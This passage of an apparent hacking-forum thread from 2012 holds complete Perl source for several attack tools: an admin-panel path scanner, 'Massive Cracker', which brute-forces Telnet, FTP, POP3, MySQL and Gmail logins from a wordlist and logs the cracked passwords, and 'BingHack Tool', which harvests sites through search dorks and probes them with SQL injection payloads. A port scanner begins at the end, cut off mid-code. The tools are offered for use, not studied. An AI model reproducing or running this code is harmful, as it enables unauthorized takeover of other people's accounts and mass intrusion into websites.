    'Server.asp',                    'Server/',
    'wp-admin/',                     'administr8.php',
    'administr8.html',               'administr8/',
    'administr8.asp',                'webadmin/',
    'webadmin.php',                  'webadmin.asp',
    'webadmin.html',                 'administratie/',
    'admins/',                       'admins.php',
    'admins.asp',                    'admins.html',
    'administrivia/',                'Database_Administration/',
    'WebAdmin/',                     'useradmin/',
    'sysadmins/',                    'admin1/',
    'system-administration/',        'administrators/',
    'pgadmin/',                      'directadmin/',
    'staradmin/',                    'ServerAdministrator/',
    'SysAdmin/',                     'administer/',
    'LiveUser_Admin/',               'sys-admin/',
    'typo3/',                        'panel/',
    'cpanel/',                       'cPanel/',
    'cpanel_file/',                  'platz_login/',
    'rcLogin/',                      'blogindex/',
    'formslogin/',                   'autologin/',
    'support_login/',                'meta_login/',
    'manuallogin/',                  'simpleLogin/',
    'loginflat/',                    'utility_login/',
    'showlogin/',                    'memlogin/',
    'members/',                      'login-redirect/',
    'sub-login/',                    'wp-login/',
    'login1/',                       'dir-login/',
    'login_db/',                     'xlogin/',
    'smblogin/',                     'customer_login/',
    'UserLogin/',                    'login-us/',
    'acct_login/',                   'admin_area/',
    'bigadmin/',                     'project-admins/',
    'phppgadmin/',                   'pureadmin/',
    'sql-admin/',                    'radmind/',
    'openvpnadmin/',                 'wizmysqladmin/',
    'vadmind/',                      'ezsqliteadmin/',
    'hpwebjetadmin/',                'newsadmin/',
    'adminpro/',                     'Lotus_Domino_Admin/',
    'bbadmin/',                      'vmailadmin/',
    'Indy_admin/',                   'ccp14admin/',
    'irc-macadmin/',                 'banneradmin/',
    'sshadmin/',                     'phpldapadmin/',
    'macadmin/',                     'administratoraccounts/',
    'admin4_account/',               'admin4_colon/',
    'radmind-1/',                    'Super-Admin/',
    'AdminTools/',                   'cmsadmin/',
    'SysAdmin2/',                    'globes_admin/',
    'cadmins/',                      'phpSQLiteAdmin/',
    'navSiteAdmin/',                 'server_admin_small/',
    'logo_sysadmin/',                'server/',
    'database_administration/',      'power_user/',
    'system_administration/',        'ss_vms_admin_sm/'
);

use LWP::UserAgent;

my $nave = LWP::UserAgent->new();
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

head();
print "[+] Page : ";
chomp( my $page = <stdin> );
scan($page);
copyright();

sub scan {

    print "\n\n[*] Searching .....\n\n\n";

    for my $path (@paneles) {
        $code = tomados( $_[0] . "/" . $path );

        if ( $code->is_success ) {
            $controlt = 1;
            print "\a\a[Link] : " . $_[0] . "/" . $path . "\n";
            savefile( "admins_logs.txt", $_[0] . "/" . $path );
        }

    }

    if ( $controlt ne 1 ) {
        print "[-] Not found anything\n";
    }

}

sub head {
    print q (


@@@@@                    @     @@@@                          @
@    @                   @    @    @             @           @
@    @                   @    @                  @           @
@    @  @@@  @ @@   @@@  @    @       @@@  @ @@  @@ @@  @@@  @
@@@@@      @ @@  @ @   @ @    @      @   @ @@  @ @  @  @   @ @
@       @@@@ @   @ @@@@@ @    @      @   @ @   @ @  @  @   @ @
@      @   @ @   @ @     @    @      @   @ @   @ @  @  @   @ @
@      @   @ @   @ @   @ @    @    @ @   @ @   @ @  @  @   @ @
@       @@@@ @   @  @@@  @     @@@@   @@@  @   @  @ @   @@@  @


                                                   
);
}

sub copyright {
    print "\n\n(C) Doddy Hackman 2012\n\n";
    <stdin>;
    exit(1);
}

sub tomados {
    return $nave->get( $_[0] );
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

#The End ?
#247
Scripting / [Perl Tk] Masive Cracker 0.4
2 Junio 2012, 21:18 PM
Version Tk de este programa para crackear cuentas del tipo telnet,ftp,pop3 y gmail.

Una imagen



El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#Massive Cracker 0.4
#Version Tk
#Coded By Doddy H
#http://search.cpan.org/~jrogers/Net-Telnet-3.03/lib/Net/Telnet.pm
#ppm install http://www.bribes.org/perl/ppm/DBI.ppd
#ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd
#http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
#http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
#ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
#http://search.cpan.org/~gbarr/Authen-SASL-2.15/lib/Authen/SASL.pod

use Cwd;
use Tk;
use Tk::FileSelect;
use Tk::Dialog;
use LWP::UserAgent;
use Net::FTP;
use Net::POP3;
use Net::Telnet;
use DBI;
use Mail::POP3Client;
use IO::Socket::SSL;

my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);

#if ($^O eq 'MSWin32') {
#use Win32::Console;
#Win32::Console::Free();
#}

my $color_texto = "green";
my $color_fondo = "black";

my $newdax =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );

$newdax->title("Massive Cracker 0.4");
$newdax->geometry("320x270+50+50");
$newdax->resizable( 0, 0 );

$menula = $newdax->Frame(
    -relief     => "sunken",
    -bd         => 1,
    -background => $color_fondo,
    -foreground => $color_texto
);
my $menulnowaxaz = $menula->Menubutton(
    -text             => "Options",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $aboutnowaxaz = $menula->Menubutton(
    -text             => "About",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $exitnowaxaz = $menula->Menubutton(
    -text             => "Exit",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
$menula->pack( -side => "top", -fill => "x" );

$menulnowaxaz->command(
    -label      => "Crack",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&crack
);
$menulnowaxaz->command(
    -label      => "Open Logs",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&openlogsaz
);
$aboutnowaxaz->command(
    -label      => "About",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&aboutxaz
);
$exitnowaxaz->command(
    -label      => "Exit",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&exitnowaz
);

#
$newdax->Label(
    -text       => "Host : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 40 );
my $host = $newdax->Entry(
    -width      => 30,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 70, -y => 43 );
$newdax->Label(
    -text       => "Username : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 70 );
my $username = $newdax->Entry(
    -width      => 20,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 110, -y => 73 );
$newdax->Label(
    -text       => "Wordlist : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 100 );
my $password = $newdax->Entry(
    -width      => 20,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 95, -y => 103 );
$newdax->Button(
    -text             => "Browse",
    -width            => 10,
    -command          => \&bronaf,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->place( -x => 225, -y => 103 );
$newdax->Label(
    -text       => "Timeout : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 130 );
my $timeout = $newdax->Entry(
    -width      => 10,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 95, -y => 133 );

$newdax->Label(
    -text       => "Service : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 170 );
$newdax->Optionmenu(
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto,
    -options          => [
        [ FTP    => FTP ],
        [ TELNET => TELNET ],
        [ POP3   => POP3 ],
        [ MYSQL  => MYSQL ],
        [ GMAIL  => GMAIL ]
    ],
    -textvariable => \$service
)->place( -x => 90, -y => 170 );

$newdax->Label(
    -text       => "Status : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 60, -y => 220 );
my $status = $newdax->Entry(
    -width      => 20,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 120, -y => 225 );

#

MainLoop;

sub crack {

    my $host = $host->get;
    my $user = $username->get;
    my $word = $password->get;
    my $time = $timeout->get;

    my $op = $service;

    if ( -f $word ) {

        $status->configure( -text => " " );

        if ( $op eq "TELNET" ) {

            my $cont = "0";

            my @words = openwordlist($word);

            for my $pass (@words) {
                chomp $pass;
                $newdax->update;
                $status->configure( -text => $pass );
                sleep($time);
                $telnet = new Net::Telnet( Errmode => "return" );
                $telnet->open($host);
                if ( $telnet->login( $user, $pass ) ) {
                    $cont = "1";
                    yeah( $host, $user, $pass, "Telnet" );
                }
                $telnet->close;
            }
            if ( $cont eq "0" ) {
                $status->configure( -text => "Not Found" );
            }
        }

        elsif ( $op eq "FTP" ) {

            my $cont = "0";

            my @words = openwordlist($word);

            for my $pass (@words) {
                chomp $pass;
                $newdax->update;
                $status->configure( -text => $pass );
                sleep($time);
                $ftp = Net::FTP->new($host);
                if ( $ftp->login( $user, $pass ) ) {
                    $cont = "1";
                    yeah( $host, $user, $pass, "FTP" );
                }
                $ftp->quit;
            }
            if ( $cont eq "0" ) {
                $status->configure( -text => "Not Found" );
            }
        }
        elsif ( $op eq "POP3" ) {

            my $cont = "0";

            my @words = openwordlist($word);

            for my $pass (@words) {
                chomp $pass;
                $newdax->update;
                $status->configure( -text => $pass );
                sleep($time);
                $pop = Net::POP3->new($host);
                if ( $pop->login( $user, $pass ) ) {
                    $cont = "1";
                    yeah( $host, $user, $pass, "POP3" );
                }
                $pop->quit();
            }
            if ( $cont eq "0" ) {
                $status->configure( -text => "Not Found" );
            }
        }

        elsif ( $op eq "MYSQL" ) {

            my $cont = "0";

            my @words = openwordlist($word);

            $target = "dbi:mysql::" . $host . ":3306";

            for my $pass (@words) {
                chomp $pass;
                $newdax->update;
                $status->configure( -text => $pass );
                sleep($time);
                if ( my $now =
                    DBI->connect( $target, $user, $pass, { PrintError => 0 } ) )
                {
                    $cont = "1";
                    yeah( $host, $user, $pass, "Mysql" );
                }
            }
            if ( $cont eq "0" ) {
                $status->configure( -text => "Not Found" );
            }
        }

        elsif ( $op eq "GMAIL" ) {

            my $cont = "0";

            my @words = openwordlist($word);

            for my $pass (@words) {
                chomp $pass;
                $newdax->update;
                $status->configure( -text => $pass );
                sleep($time);
                my $so = IO::Socket::SSL->new(
                    PeerAddr => "pop.gmail.com",
                    PeerPort => 995,
                    Proto    => "tcp"
                );

                my $nave = Mail::POP3Client->new();

                $nave->User($user);
                $nave->Pass($pass);
                $nave->Socket($so);

                if ( $nave->Connect() ) {
                    $cont = "1";
                    yeah( "pop.gmail.com", $user, $pass, "Gmail" );
                }

                $so->close();
                $nave->close();
            }
            if ( $cont eq "0" ) {
                $status->configure( -text => "Not Found" );
            }

        }
        else {
        }
    }
    else {
        $newdax->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "File Not Found",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -activebackground => $color_texto
        )->Show();
    }
}

sub yeah {

    my $foundtk = MainWindow->new(
        -background => $color_fondo,
        -foreground => $color_texto
    );
    $foundtk->title("Account Cracked");
    $foundtk->geometry("280x130+20+20");
    $foundtk->resizable( 0, 0 );

    $foundtk->Label(
        -text       => "Host : ",
        -font       => "Impact",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 20, -y => 20 );
    my $host_found = $foundtk->Entry(
        -width      => 30,
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 67, -y => 25 );
    $foundtk->Label(
        -text       => "Username : ",
        -font       => "Impact",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 20, -y => 50 );
    my $user_found = $foundtk->Entry(
        -width      => 24,
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 103, -y => 55 );
    $foundtk->Label(
        -text       => "Password : ",
        -font       => "Impact",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 20, -y => 80 );
    my $pass_found = $foundtk->Entry(
        -width      => 24,
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 103, -y => 85 );

    $host_found->configure( -text => $_[0] );
    $user_found->configure( -text => $_[1] );
    $pass_found->configure( -text => $_[2] );

    savefile( "cracked-logs.txt",
        $_[3] . ":" . $_[0] . ":" . $_[1] . ":" . $_[2] );

    last;

}

sub openwordlist {

    my @words;
    my ($file) = @_;

    open( FILE, $file );
    my @words = <FILE>;
    close FILE;

    return @words;

}

sub bronaf {
    $newdax->update;
    $browse = $newdax->FileSelect( -directory => getcwd() );
    my $file = $browse->Show;
    $password->configure( -text => $file );
}

sub aboutxaz {
    $newdax->Dialog(
        -title            => "About",
        -buttons          => ["OK"],
        -text             => "Coded By Doddy H",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -activebackground => $color_texto
    )->Show();
}

sub openlogsaz {
    my $f = "cracked-logs.txt";
    if ( -f $f ) {
        system($f);
    }
    else {
        $newdax->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "File Not Found",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -activebackground => $color_texto
        )->Show();
    }
}

sub exitnowaz { exit 1; }

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub toma {
    return $nave->get( $_[0] )->content;
}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

#The End ?

#248
Scripting / [Perl] Massive Cracker 0.4
2 Junio 2012, 21:18 PM
Nueva version de este programa para crackear el siguiente tipo de cuentas

  • Telnet
  • FTP
  • POP3
  • Mysql
  • Gmail

    Tambien le quite la opcion de Hotmail la cual era obsoleta.

    El codigo

    Código (perl) [Seleccionar]

    #!usr/bin/perl
    #Massive Cracker 0.4
    #Coded By Doddy H
    #http://search.cpan.org/~jrogers/Net-Telnet-3.03/lib/Net/Telnet.pm
    #ppm install http://www.bribes.org/perl/ppm/DBI.ppd
    #ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd
    #http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
    #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
    #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
    #http://search.cpan.org/~gbarr/Authen-SASL-2.15/lib/Authen/SASL.pod

    use Net::FTP;
    use Net::POP3;
    use Net::Telnet;
    use DBI;

    use Mail::POP3Client;
    use IO::Socket::SSL;

    head();

    print "[+] Option :  ";
    chomp( my $op = <stdin> );

    if ( $op eq "1" ) {

        my ( $host, $user, $word, $time ) = form1();
        my @words = openwordlist( $word, "Telnet" );

        for my $pass (@words) {
            chomp $pass;
            sleep($time);
            $telnet = new Net::Telnet( Errmode => "return" );
            $telnet->open($host);
            if ( $telnet->login( $user, $pass ) ) {
                yeah( $host, $user, $pass, "Telnet" );
            }
            $telnet->close;
        }

        print "\n[-] Password Not Found\n";

    }

    elsif ( $op eq "2" ) {

        my ( $host, $user, $word, $time ) = form1();
        my @words = openwordlist( $word, "FTP" );

        for my $pass (@words) {
            chomp $pass;
            sleep($time);
            $ftp = Net::FTP->new($host);
            if ( $ftp->login( $user, $pass ) ) {
                yeah( $host, $user, $pass, "FTP" );
            }
            $ftp->quit;
        }

        print "\n[-] Password Not Found\n";

    }
    elsif ( $op eq "3" ) {

        my ( $host, $user, $word, $time ) = form1();
        my @words = openwordlist( $word, "POP3" );

        for my $pass (@words) {
            chomp $pass;
            sleep($time);
            $pop = Net::POP3->new($host);
            if ( $pop->login( $user, $pass ) ) {
                yeah( $host, $user, $pass, "POP3" );
            }
            $pop->quit();
        }

        print "\n[-] Password Not Found\n";

    }

    elsif ( $op eq "4" ) {

        my ( $host, $user, $word, $time ) = form1();
        my @words = openwordlist( $word, "Mysql" );

        $target = "dbi:mysql::" . $host . ":3306";

        for my $pass (@words) {
            chomp $pass;
            sleep($time);
            if ( my $now =
                DBI->connect( $target, $user, $pass, { PrintError => 0 } ) )
            {
                yeah( $host, $user, $pass, "Mysql" );
            }
        }

        print "\n[-] Password Not Found\n";

    }

    elsif ( $op eq "5" ) {

        my ( $user, $word, $time ) = form2();
        my @words = openwordlist( $word, "Gmail" );

        for my $pass (@words) {
            chomp $pass;
            sleep($time);
            my $so = IO::Socket::SSL->new(
                PeerAddr => "pop.gmail.com",
                PeerPort => 995,
                Proto    => "tcp"
            );

            my $nave = Mail::POP3Client->new();

            $nave->User($user);
            $nave->Pass($pass);
            $nave->Socket($so);

            if ( $nave->Connect() ) {
                yeahmail( "Gmail", $user, $pass );
            }

            $so->close();
            $nave->close();
        }
        print "\n[-] Password Not Found\n";
    }

    else {
        print "\n\n[+] Bad Option\n";
    }

    copyright();

    sub yeah {

        print "\a\a\n[+] Cracked\n\n";
        print "[+] Host : $_[0]\n";
        print "[+] Username: $_[1]\n";
        print "[+] Password : $_[2]\n";

        savefile( "cracked-logs.txt",
            $_[3] . ":" . $_[0] . ":" . $_[1] . ":" . $_[2] );

        copyright();

    }

    sub yeahmail {

        print "\a\a\n[+] Cracked\n\n";
        print "[+] Account Type : $_[0]\n";
        print "[+] Username : $_[1]\n";
        print "[+] Password : $_[2]\n";

        savefile( "cracked-logs.txt", $_[0] . ":" . $_[1] . ":" . $_[2] );

        copyright();

    }

    sub openwordlist {

        my ( $file, $tipo ) = @_;

        print "\n[+] Opening file\n\n";

        unless ( -f $file ) {
            print "\n[-] File not found\n";
            copyright();
        }

        open( FILE, $file );
        my @words = <FILE>;
        close FILE;

        print "[+] Words Found : " . int(@words) . "\n\n";
        print "[+] Cracking service $tipo\n\n";

        return @words;

    }

    sub savefile {
        open( SAVE, ">>" . $_[0] );
        print SAVE $_[1] . "\n";
        close SAVE;
    }

    sub form1 {

        print "\n[+] Host : ";
        chomp( my $host = <stdin> );
        print "\n[+] User : ";
        chomp( my $user = <stdin> );
        print "\n[+] Wordlist : ";
        chomp( my $word = <stdin> );
        print "\n[+] Timeout : ";
        chomp( my $time = <stdin> );

        return ( $host, $user, $word, $time );

    }

    sub form2 {
        print "\n[+] Email : ";
        chomp( my $email = <stdin> );
        print "\n[+] Wordlist : ";
        chomp( my $word = <stdin> );
        print "\n[+] Timeout : ";
        chomp( my $time = <stdin> );
        return ( $email, $word, $time );

    }

    sub head {
        print qq(

    @     @                                    @@@@                 @             
    @     @                                   @    @                @             
    @@   @@                                   @                     @             
    @@   @@   @@@   @@   @@  @ @   @  @@@     @      @@  @@@   @@@  @  @   @@@  @@
    @ @ @ @      @ @  @ @  @ @ @   @ @   @    @      @      @ @   @ @ @   @   @ @
    @ @ @ @   @@@@  @    @   @  @ @  @@@@@    @      @   @@@@ @     @@    @@@@@ @
    @  @  @  @   @   @    @  @  @ @  @        @      @  @   @ @     @ @   @     @
    @  @  @  @   @ @  @ @  @ @   @   @   @    @    @ @  @   @ @   @ @  @  @   @ @
    @     @   @@@@  @@   @@  @   @    @@@      @@@@  @   @@@@  @@@  @   @  @@@  @

                                 
                                                       
                                               
                                                  Coded By Doddy H





    [++] Services

    [1] : Telnet
    [2] : FTP
    [3] : POP3
    [4] : Mysql
    [5] : Gmail



    );
    }

    sub copyright {
        print "\n\n(C) Doddy Hackman 2012\n\n";
        <stdin>;
        exit(1);
    }

    #The End ?
#249
Scripting / [Perl Tk] BingHack Tool 0.1
26 Mayo 2012, 16:02 PM
Version Tk de un script en Perl para buscar paginas vulnerables a SQLi usando Bing.

Una imagen



El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#BingHack Tool 0.1
#Version Tk
#Coded By Doddy H

use Tk;
use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

my $color_fondo = "black";
my $color_texto = "green";

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $hj =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$hj->geometry("600x285+20+20");
$hj->resizable( 0, 0 );
$hj->title("BingHack Tool 0.1");

$hj->Label(
    -text       => "Dork : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 18, -y => 22 );
my $dork = $hj->Entry(
    -width      => 30,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 68, -y => 26 );

$hj->Label(
    -text       => "Pages : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 270, -y => 22 );
my $pages = $hj->Entry(
    -width      => 10,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 335, -y => 26 );

$hj->Button(
    -text             => "Search",
    -width            => 10,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto,
    -command          => \&search
)->place( -x => 420, -y => 26 );
$hj->Button(
    -text             => "Logs",
    -width            => 10,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto,
    -command          => \&logs
)->place( -x => 495, -y => 26 );

$hj->Label(
    -text       => "Links Found",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 110, -y => 80 );
my $links = $hj->Listbox(
    -width      => 40,
    -height     => 10,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 30, -y => 120 );

$hj->Label(
    -text       => "SQLi Found",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 390, -y => 80 );
my $founds = $hj->Listbox(
    -width      => 40,
    -height     => 10,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 310, -y => 120 );

MainLoop;

sub search {

    $links->delete( "0.0", "end" );
    $founds->delete( "0.0", "end" );

    $hj->update;
    $hj->title("BingHack Tool 0.1 [+] Status : Searching");
    my @urls = bing( $dork->get, $pages->get );
    $hj->update;

    for (@urls) {
        $hj->update;
        $links->insert( "end", $_ );
    }

    $hj->title("BingHack Tool 0.1 [+] Status : Scanning");

    for my $pa (@urls) {
        $hj->update;
        sql($pa);
    }
    $hj->update;
    $hj->title("BingHack Tool 0.1");
}

sub logs {

    my $file = "sql-logs.txt";

    if ( -f $file ) {
        system($file);
    }
    else {
        $hj->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "Logs not found",
            -background       => $color_fondo,
            -foreground       => $color_text,
            -activebackground => $color_text
        )->Show();
    }
}

sub sql {
    my ( $pass1, $pass2 ) = ( "+", "--" );
    my $page = shift;

    my $testar1 = toma( $page . $pass1 . "and" . $pass1 . "1=0" . $pass2 );
    my $testar2 = toma( $page . $pass1 . "and" . $pass1 . "1=1" . $pass2 );

    unless ( $testar1 eq $testar2 ) {
        $founds->insert( "end", $page );
        savefile( "sql-logs.txt", $page );
    }
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub bing {

    my ( $a, $b ) = @_;
    for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) {
        $hj->update;
        my $code =
          toma( "http://www.bing.com/search?q=" . $a . "&first=" . $pages );

        while ( $code =~ /<h3><a href="(.*?)"/mig ) {
            push( @founds, $1 );
        }
    }
    my @founds = repes( cortar(@founds) );
    return @founds;
}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

sub cortar {
    my @nuevo;
    for (@_) {
        if ( $_ =~ /=/ ) {
            @tengo = split( "=", $_ );
            push( @nuevo, @tengo[0] . "=" );
        }
        else {
            push( @nuevo, $_ );
        }
    }
    return @nuevo;
}

sub toma {
    return $nave->get( $_[0] )->content;
}

#The End ?
#250
Scripting / [Perl] BingHack Tool 0.1
26 Mayo 2012, 16:02 PM
Un simple script en perl para buscar paginas vulnerables a SQLi usando Bing.

El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#BingHack Tool 0.1
#Coded By Doddy H

use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

head();
print "\n\n[+] Dork : ";
chomp( my $dork = <stdin> );
print "\n[+] Pages : ";
chomp( my $pags = <stdin> );
print "\n[+] Searching ...\n";
my @urls = bing( $dork, $pags );
print "\n[+] Pages Found : " . int(@urls) . "\n";
print "\n[+] Scanning ...\n\n";

for my $pa (@urls) {
    sql($pa);
}
print "\n[+] Finished\n";

copyright();

sub sql {
    my ( $pass1, $pass2 ) = ( "+", "--" );
    my $page = shift;

    my $testar1 = toma( $page . $pass1 . "and" . $pass1 . "1=0" . $pass2 );
    my $testar2 = toma( $page . $pass1 . "and" . $pass1 . "1=1" . $pass2 );

    unless ( $testar1 eq $testar2 ) {
        print "[+] SQLI : $page\a\n";
        savefile( "sql-logs.txt", $page );
    }
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub bing {

    my ( $a, $b ) = @_;
    for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) {
        my $code =
          toma( "http://www.bing.com/search?q=" . $a . "&first=" . $pages );

        while ( $code =~ /<h3><a href="(.*?)"/mig ) {
            push( @founds, $1 );
        }
    }
    my @founds = repes( cortar(@founds) );
    return @founds;
}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

sub cortar {
    my @nuevo;
    for (@_) {
        if ( $_ =~ /=/ ) {
            @tengo = split( "=", $_ );
            push( @nuevo, @tengo[0] . "=" );
        }
        else {
            push( @nuevo, $_ );
        }
    }
    return @nuevo;
}

sub head {
    print qq(

@@@@   @             @    @              @        @@@@@              @
@   @                @    @              @          @                @
@   @                @    @              @          @                @
@   @  @ @ @@   @@@@ @    @   @@@   @@@  @  @       @     @@@   @@@  @
@@@@   @ @@  @ @   @ @@@@@@      @ @   @ @ @        @    @   @ @   @ @
@   @  @ @   @ @   @ @    @   @@@@ @     @@         @    @   @ @   @ @
@   @  @ @   @ @   @ @    @  @   @ @     @ @        @    @   @ @   @ @
@   @  @ @   @ @   @ @    @  @   @ @   @ @  @       @    @   @ @   @ @
@@@@   @ @   @  @@@@ @    @   @@@@  @@@  @   @      @     @@@   @@@  @
                    @                                                 
                @@@@                                                   

);
}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2012\n\n";
    <stdin>;
    exit(1);
}

sub toma {
    return $nave->get( $_[0] )->content;
}

# The End ?
#251
Scripting / [Perl Tk] Scan Port 0.6
19 Mayo 2012, 17:30 PM
Nueva version Tk de un scanner de puertos que hice.

Una imagen



El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#ScanPort 0.6
#Version Tk
#Coded By Doddy H

use Tk;
use IO::Socket;

my $color_fondo = "black";
my $color_texto = "green";

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $kax =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$kax->geometry("422x130+20+20");
$kax->resizable( 0, 0 );
$kax->title("Scan Port 0.6 || Coded By Doddy H");

$kax->Label(
    -text       => "Host : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 20 );
my $hostx = $kax->Entry(
    -width      => 30,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 68, -y => 26 );
$kax->Label(
    -text       => "From port : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 50 );
my $startx = $kax->Entry(
    -width      => 8,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 100, -y => 55 );
$kax->Label(
    -text       => "To : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 170, -y => 50 );
my $endx = $kax->Entry(
    -width      => 8,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 200, -y => 55 );

$kax->Label(
    -text       => "Progress : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 84 );
my $tatus = $kax->Entry(
    -width      => 8,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 100, -y => 90 );
$kax->Button(
    -text             => "Fast",
    -width            => 6,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto,
    -command          => \&scanuno
)->place( -x => 158, -y => 88 );
$kax->Button(
    -text             => "Full",
    -width            => 6,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto,
    -command          => \&scandos
)->place( -x => 208, -y => 88 );

$kax->Label(
    -text       => "Port Found",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 305, -y => 20 );
my $porters = $kax->Listbox(
    -width      => 20,
    -height     => 4,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 280, -y => 50 );

MainLoop;

sub scanuno {

    my %ports = (
        "21"   => "ftp",
        "22"   => "ssh",
        "25"   => "smtp",
        "80"   => "http",
        "110"  => "pop3",
        "3306" => "mysql"
    );

    $porters->delete( "0.0", "end" );
    $tatus->configure( -text => " " );

    for my $port ( keys %ports ) {
